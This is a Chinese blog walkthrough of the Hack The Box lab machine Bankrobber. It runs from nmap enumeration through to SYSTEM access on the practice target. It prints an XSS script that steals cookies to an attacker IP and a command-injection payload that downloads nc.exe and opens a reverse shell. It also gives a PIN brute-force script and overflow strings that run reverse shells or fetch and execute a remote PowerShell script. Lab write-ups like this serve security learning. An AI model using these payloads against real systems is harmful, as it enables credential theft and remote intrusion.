【Hack The Box】windows练习-- Bankrobber

HTB 学习笔记

【Hack The Box】windows练习-- Bankrobber


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月3日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
| tls-alpn: 
|_  http/1.1
|_http-title: E-coin
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2022-11-02T11:46:53
|_  start_date: 2022-11-02T10:39:31
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

80存在apache,所以我们要关注php(特别关注)
443是一个https的apache,在80存在异常的时候,可能就是被跳转到https了
而后就是3306的MariaDB (unauthorized)
然后就是每次都会遇到的smb枚举
基本上我们在这个信息收集中获取的信息就这么多了

在这里插入图片描述
二者是同站,首先可以看到一个登陆框
简单分析一下网站功能,可以登陆可以注册,还可以交易
在这里插入图片描述
交易的话需要主交易人的账号以及被交易人的id
然后我尝试了一下用户密码均为admin的情况,可以登陆,然后就跳转到了转账页面(但是随便输入个啥都能登陆???这是什么鬼)
好了这个靶场到此结束,我去发财了【狗头保命】

哈哈哈,开个玩笑。那我觉得转账的过程肯定会调取数据库的信息来核对你的资金
结合开放了3306的数据库,那我觉得这里存在sql注入

然后我注册了个账户看看有啥区别
发现没啥区别,转账的话需要管理员审查
那就是数据库核对
更坚定了我sql注入的信心
我要开始尝试sql注入了
在这里插入图片描述
然后我准备随便转个账看看,发现选择框右边有箭头,账户和对方id都是自然数,不晓得干嘛
在这里插入图片描述试了几个常用的也没啥用
在这里插入图片描述
但我试了几种也没啥反应啊,那网站源码会不会在smb被暴露出来?我要去枚举看看

在这里插入图片描述smb也都锁了
在这里插入图片描述刚才nikto扫了一下那个转账页面,也没啥东西

到这路已经死了,smb也有密码锁定,登陆框我试了几个也都没用,我仔细回想,漏了啥,然后,想起来了,目录遍历

目录遍历

在这里插入图片描述发现一个admin,但是要验证
在这里插入图片描述

xss

说明需要认证,然后再回想,哪里还可能有问题,又想到了那句话,转账页面要给管理员看,那是不是意味着,存在xss?我们用个简单的脚本跑一下
xss构造

python3 -m http.server 80--本地开服务器让那边找你这个test.js
<script src="http://10.10.14.5/test.js"></script>

xss窃听脚本

function pwn() {
    var img = document.createElement("img");
    img.src = "http://10.10.14.19/xss?=" + document.cookie;
    document.body.appendChild(img);
}
pwn();

在这里插入图片描述
在这里插入图片描述

SG9wZWxlc3Nyb21hbnRpYw%3D%3D

在这里插入图片描述

sql注入

在这里插入图片描述
这tm就对了么,绝对的去数据库查了,必须是sql注入
在这里插入图片描述
但是手搞了半天
就是不行,我一会再来玩
接下来就要玩下面那个服务框

ssrf

在这里插入图片描述
发现啥命令都执行不了,只支持本地,那我们能不能再次利用xss来利用,让他的本地来执行命令

也是利用刚才的方法
本地写一个js脚本,然后把反弹脚本啥的还有nc放到同一目录

var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.6/nc.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.14.6 1234';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);

所有的参数都是抓包所得
在这里插入图片描述还是在之前那个存在xss的地方搞
<script src="http://10.10.14.6/shell.js"></script>
在这里插入图片描述
在这里插入图片描述发现了一个这个文件
在这里插入图片描述

C:\>bankv2.exe
bankv2.exe
Toegang geweigerd.  翻译过来是无权访问
因为无权访问,所以直接听端口是快捷的方法,大概率可以突破这个限制

溢出

查看一下端口,发现了一个我们不晓得的端口,为了连接这个端口服务,我们把它隧道到本地然后nc就可以玩了

netstat -ano | findstr LISTEN

打隧道我们使用Chisel
把windows客户端传过去

powershell -c "wget 10.10.14.6/chisel_windows_amd64.exe -o c.exe"
服务端
./chisel server -p 8000 --reverse
客户端
c.exe client 10.10.14.5:8000 R:910:localhost:910
然后即可监听910端口

在这里插入图片描述

在这里插入图片描述连接成功
在这里插入图片描述

pin爆破

在这里插入图片描述

#!/usr/bin/env python3

import socket
import sys


for i in range(10000):
    sys.stdout.write(f"\rTrying: {i:04d}")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 910))
    s.recv(4096)
    s.send(f"{i:04d}\n".encode())
    resp = s.recv(4096)
    if not b"Access denied" in resp:
        print(f"\rFound pin: {i:04d}")
        break
    s.close()

溢出突破

首先发现存在溢出,因为他下面要执行的很显然截断了,我们可以用msf的验证,也可以数一下,都行
在这里插入图片描述

msf-pattern_create -l 40
msf-pattern_offset -q 0Ab1

在这里插入图片描述
在这里插入图片描述
然后我们输入32个a加上后面的命令即可

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\Users\\Cortin\\AppData\\Local\\Temp\\nc.exe -e cmd.exe 10.10.14.6 8888
或者
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApowershell iex(new-object net.webclient).downloadstring('http://10.10.14.7:8000/rev.ps1')

可以看到下图已经正确的执行命令了
在这里插入图片描述最终就可以拿到system

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值